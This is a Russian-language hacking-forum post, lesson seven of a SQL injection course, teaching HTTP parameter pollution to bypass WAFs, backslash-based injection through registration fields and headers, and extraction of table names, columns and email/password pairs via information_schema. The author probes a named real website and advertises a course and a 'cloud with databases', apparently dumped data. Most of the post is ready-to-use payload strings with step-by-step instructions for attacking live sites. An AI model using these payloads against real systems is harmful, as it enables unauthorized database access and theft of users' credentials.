Загрузка...

SQL INJECTION от новичка до профессионала (Урок седьмой) HTTP parameter pollution

Тема в разделе Веб уязвимости создана пользователем pentest 18 мар 2023. (поднята 11 июн 2023) 766 просмотров

  1. pentest
    pentest Автор темы 18 мар 2023 Заблокирован(а)
    Приветствую вас на моем седьмом уроке по SQLI:interesting:
    Мы уже рассмотрели довольно много инъекций и даже поломали реальный ресурс , но это еще не конец!Существуют и другие уязвимости например
    [IMG]
    HTTP parameter pollution - ЭТО загрязнение параметров в GET (в линке).Разные сервера по-разному обрабатывают параметры и нам это только на руку.Далее расскажу подробно , а пока что небольшая рекламка моих проектов:
    мой курс по sql inj - https://zelenka.guru/threads/5012873/
    мое облако с базами - https://zelenka.guru/threads/5029036/

    Лучше всего разобраться на практике , давайте представим , что у нас есть линк https://book.google/?id=1&id=2&id=3
    или же https://book.google/?id=1;id=2;id=3
    Как вы думаете запись какого значения мы получим 1 , 2 или 3?Ответ: по-разному , в зависимости от сервера , который крутится
    [IMG]
    Например , если сервак ASP , то мы получим сразу значения 1,2,3
    А если Apache , то получим последний параметр - 3
    https://book.google/?id=1&id=2&id=3&fake=4
    Если например будет несуществующий параметр , то Apache выведет последний рабочий - 3.

    Теперь давайте рассмотрим так вот пример.Представим , что сервак ASP и он обрабатывает все параметры.Мы можем обойти WAF
    https://book.google/?id=select user,password from tbl_member where table_schema=database() -- -
    И тут врывается дядя wafыч и посылает нас наxRen:))
    Но мы то знаем , что ASP обрабатывает все значения одного параметра и через запятую.Поэтому делим нашу полезную нагрузку
    https://book.google/?id=select user&id=password from tbl_member where table_schema=database() -- -

    В результате выполнения получается
    select user,password from tbl_member where table_schema=database() -- -
    и полезная нагрузка срабатывает.Всё зависит от того какие настройки и сервак , может сработать например вот так:
    https://book.google/?id=select user;id=password from tbl_member where table_schema=database() -- -
    & = ;

    Можем также миксовать & и ;
    https://book.google/?id=1;select 1&2,3 from member where id=255 -- -

    Еще один обход waf С комментариями
    ?id=1/**/union/*&id=*/select/*&id=*/user/*&id=*/from/*&id=*/users
    После обработки будет
    id=1/**/union/*,*/select/*,*/pass/*,*/from/*,*/users
    то есть по сути id=* заменяется на ,
    [IMG]
    Ну это в случае с технологией ASP , а ведь мы не знаем , что стоит ASP/PYTHON/Apache

    Для этого запускаем kali linux и в терминале пишем whatweb site
    [IMG]
    Как мы видим сайт для примера крутится на apache

    Время проверять на практике:
    https://www.hash.kr/community/promo...otion&fmlid=693623&pkid=25220&board_no=693623
    Есть вот такой вот линк.Параметр board_no=value
    Давайте добавим в конец &board_no=205
    https://www.hash.kr/community/promotion/read.htm?bn=promotion&fmlid=693623&pkid=25220&board_no=693623&board_no=205
    [IMG]
    Обрабатывает последний параметр короче , т.к Apache

    Из-за чего вообще могут возникнуть уязвимости SQL.
    [IMG]
    Представим есть вот такая форма регистрации (4 поля).Но не все они достаточно хорошо фильтруются , админ внес кавычки в blacklist , НО забыл внести туда обратный слэш и мы можем этим воспользоваться.Ведь , если мы впишем \ в поле , а значения передаются в кавычках , то произойдет незавершение запроса будет что-то вроде \'.

    [IMG]
    Есть вот такое поле для регистрации.
    [IMG]
    Поле Last name уязвимо , значит мы в предыдущее поле ставим \ И вводим полезную нагрузку ,database(),1,2,3) -- -
    почему 1,2,3?Делом в том , что после поля куда мы ввели инъекцию есть еще 3 поля. City , Phone , Email
    Далее авторизируемся и в личном кабинете будет название базы данных.
    [IMG]
    Да , теперь мы можем получать user(),version() и другие функции mysql , НО если мы воспользуемся SELECT , то получим ошибку.Чтобы ошибки не было нужно взять в скобки , как на скриншоте ниже:
    [IMG]
    То есть мы берем в скобки select database()
    Отлично!Теперь получим названием бд
    SQL
    ,(select table_name from information_schema.tables where table_schema=database()),2,3,4) -- -

    [IMG]
    Если есть еще одна таблица , то добавляем limit 1,1
    SQL
    ,(select table_name from information_schema.tables where table_schema=database() limit 1,1),2,3,4) -- -

    Теперь надо получить название колонок:fallout_cool:
    SQL
    ,(select column_name from information_schema.columns where table_name='lolz'),2,3,4) -- -
    Но мы не сможем , т.к название таблицы указывается в кавычках.Значит можно закодировать название таблицы.
    [IMG]
    Если кодируем в hex , ТО кавычки не нужны , т.к mysql HEX переводит в строку автоматически , а строка и так указывается в кавычках.Также , если колонок/таблиц больше одной , то нужно указывать limit ИНАЧЕ не сработает:dance:
    SQL
    ,(select column_name from information_schema.columns where table_name=0x6c6f6c7a limit 0,1),2,3,4) -- -
    Кодировать можно с помощью char,base64 по-разному...
    Увеличиваем limit и получаем название всех колонок.

    Теперь забираем полученные данные:
    ,(select concat(email,pass) from lolz as cam limit 0,1),2,3,4)
    Нужно обязательно использовать псевдоним иначе не сработает...

    Теперь подытожим , чтобы сработала подобная инъекция должно быть , как минимум два поля и не фильтроваться \ , но есть способы обойти обратный слэш , но подобное на моем курсе SQL обсуждается.


    Также подобная инъекция может в POST заголовках. User-agent,cookie,referer И т.д.Подставляем обратный слэш и смотрим есть ли вывод ошибки...
    [IMG]
    У меня ошибка сработала , когда я обратный слэш подставил к user-agenty.Значит нужно теперь найти второй заголовок , который уязвим.Нужно подставлять полезные нагрузки для разных техник time/blind/union и др.У меня оказалось Referer уязвимое...
    И далее точно также крутим:claps:

    Если вам понравилась статья , то отписывайте
    [IMG]
     
  2. nullptr
    хаха поллюция
     
  3. Skittle_Chan
    Skittle_Chan 18 мар 2023 упорство никогда не заменит талант
    Нихуя не понятно,но очень интересно
     
    1. pentest Автор темы
      Skittle_Chan, посмотри предыдущие уроки , поймешь на 50% уж точно
    2. Skittle_Chan
      pentest, я в теории понял как делать,но мне почему-то кажется,что к каждому сайту все будет слишком индивидуально,тем более обход waf - сложная вещь
    3. pentest Автор темы
      Skittle_Chan, да , верно , но надо уметь хотя бы находить скули , далее можно в мап пихнуть
Загрузка...
Top